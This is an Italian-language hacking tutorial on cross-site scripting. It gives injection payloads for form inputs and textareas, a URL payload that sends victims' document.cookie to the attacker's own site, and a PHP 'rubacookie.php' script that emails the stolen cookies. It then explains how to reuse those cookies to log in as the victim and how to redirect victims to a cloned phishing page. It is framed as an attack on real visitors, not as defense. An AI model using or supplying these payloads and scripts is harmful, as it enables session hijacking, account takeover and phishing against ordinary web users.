Introduzione
La tecnica del Cross Site Scripting (XSS, una sigla da non confondere con CSS, un linguaggio di programmazione markup
dedicato esclusivamente alla formattazione di testo e dati sul web) fa parte della famiglia dei "code injection" e
può rappresentare un pericolo di sicurezza su qualsiasi server, piattaforma, di qualsiasi linguaggio web, dinamico
o statico.

  Trovare una XSS
Come abbiamo detto la tecnica del cross site scripting consiste nel far eseguire al browser degli script non originari. Quello che dobbiamo fare è dunque far si che la pagina contenga del codice (preferibilmente javascript) all’interno della pagina, avendo così la possibilità di sfruttarla. Vediamo come funziona brevemente:
Prendiamo ad esempio un motore di ricerca. Avrà una input dove verranno inseriti dei dati, come nell’esempio:

Codice:

<form id="form1" name="form1" action="pippo.php" method="get"><input type="text" id="cerca" name="cerca" value="lamiaricerca"></form>

Prendiamo in considerazione il fatto che quello che andremo a scrivere nella input viene salvato nel value, quindi se cerchiamo pippo la input sarà:

Codice:

<input type="text" id="cerca" name="cerca" value="pippo">

Vediamo ora come far eseguire del codice Javascript.
Se noi andremo a cercare la stringa "><script>alert("xss");</script> uscirà fuori questo tipo di input.

Codice:

<input type="text" id="cerca" name="cerca" value=""><script>alert("xss");</script>">

Quindi la input viene chiusa e viene eseguito il javascript.
Ovviamente esistono altre mille modi, altro esempio:

Codice:

<textarea>lanostraricerca</textarea>

Dando il valore </textarea><script>alert("xss");</script><textarea> uscirà qualcosa del genere:

Codice:

<textarea></textarea><script>alert("xss");</script><textarea></textarea>

E’ possibile fare ciò anche per i background, bgcolor e tutti quei parametri che possono essere inviati tramite GET o POST o assegnati dalla querystring del browser.

  Riconoscere una XSS buona da una cattiva
Solitamente esistono due tipi di XSS: quelle pubbliche e quelle private.
1. Per XSS pubblica intendiamo una vulnerabilità che risiede su un CMS o su una struttura web dedicata all’utilizzo
di terze parti.
2. Per XSS privata intendiamo una vulnerabilità che risiede in un sito web con CMS privato, quindi non pubblico dove
l’utilizzo di tale CMS è riservato solo al server che lo utilizza.
Quando si parla di XSS che grabba (quindi buona) vuol dire che è possibile sfruttare quella vulnerabilità per impossessarsi
solitamente dei cookie di chi andrà a visitare il link. Qualora la XSS non grabba (quindi cattiva) può essere comunque
utilizzata per fare azioni di Phishing.

  Sfruttare una XSS buona
Solitamente ci capiterà di vedere qualcosa tipo

Codice:

http://www.sito.it/pagina.php?variabile="><script>alert(document.cookie)</script>

oppure tipo

Codice:

http://www.sito.it/pagina.php?variabile=">%5BXSS%5D

Ebbene, sono entrambi la stessa cosa. Al posto di XSS va inserito il codice javascript con tanto di tag per aprire
e chiudere lo script in javascript.
In questo modo è possibile inviare la vittima di turno (a cui prenderemo i cookie) verso una pagina costruita da noi
dove invieremo in metodo GET (quindi tramite barra degli indirizzi) il valore dei cookie.
Dal codice visto precedentemente costruiamo un redirect verso una nostra pagina che costruiremo poi in php.

Codice:

http://www.sito.it/pagina.php?variabile="><script>location.href="SITO"+document.cookie;</script&gt;
Dove SITO verrà sostituito con
http://www.nostrosito.it/rubacookie.php?cookie=

Andiamo ora a costruire la pagina rubacookie.php

Codice PHP:

<?
mail("nostra@mail.it","Abbiamo rubato i cookie",$_GET['cookie'];
?>

In questo modo invieremo a noi stessi una mail con i cookie rubati.
Cosa ce ne facciamo ?
Incolliamo i cookie nel nostro computer (se utilizziamo Firefox possiamo usare Add'n'Edit Cookies, un plugin per Firefox)
refreshiamo la pagina dove abbiamo rubato i cookie e, se abbiamo fatto tutto correttamente, dovremo ritrovarci loggati
come user rubato. Da qui vola l'immaginazione.

  Sfruttare una XSS cattiva
Riprendendo il discorso di come è strutturata una XSS possiamo sfruttarla comunque. Spiego: anche se non è possibile
rubare i cookie possiamo sempre redirectare la vittima verso una pagina creata da noi, in questo caso parliamo di phishing. 
Per effettuare del phishing ci basterà costruire la XSS in questo modo:
http://www.sito.it/pagina.php?variabile="><script>location.href="www.nostrosito.it/phishing.htm";</script&gt;
A questo punto ci basta costruire la pagina phishing.htm, magari riprendendo la stessa struttura grafica e le stesse
funzionalità del sito che abbiamo scelto di attaccare.